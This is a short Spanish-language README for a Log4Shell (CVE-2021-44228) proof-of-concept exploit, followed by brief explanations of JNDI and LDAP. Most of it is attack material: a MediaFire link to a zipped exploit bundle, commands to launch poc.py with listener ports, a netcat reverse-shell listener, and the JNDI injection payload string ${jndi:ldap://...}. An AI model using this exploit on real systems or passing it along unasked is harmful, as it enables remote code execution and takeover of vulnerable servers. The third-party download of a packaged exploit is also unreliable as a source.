Log4j-Exploit-CVE-2021-44228

Herramienta de prueba de vulnerabilidad Log4Shell https://log4shell.tools/

Exploit con Java ya incluido, para evitar crear cuenta, etc.

http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc_%25281%2529.zip/file

pip install -r requirements.txt

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

nc -lvnp 9001

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on 0.0.0.0:1389

Concepto básico de log4j

¿Qué es JNDI?

Es una interfaz, una API de Java para un servicio de directorio que permite a los clientes de software Java descubrir y buscar datos y recursos mediante un nombre.

¿Qué es LDAP?

Es un protocolo de acceso al directorio. LDAP puede usarse para validar nombres de usuario y contraseñas con servidores Docker, Jenkins, Kubernetes, Open VPN y Linux Samba. El inicio de sesión único LDAP también puede ser utilizado por administradores del sistema para controlar el acceso a una base de datos LDAP.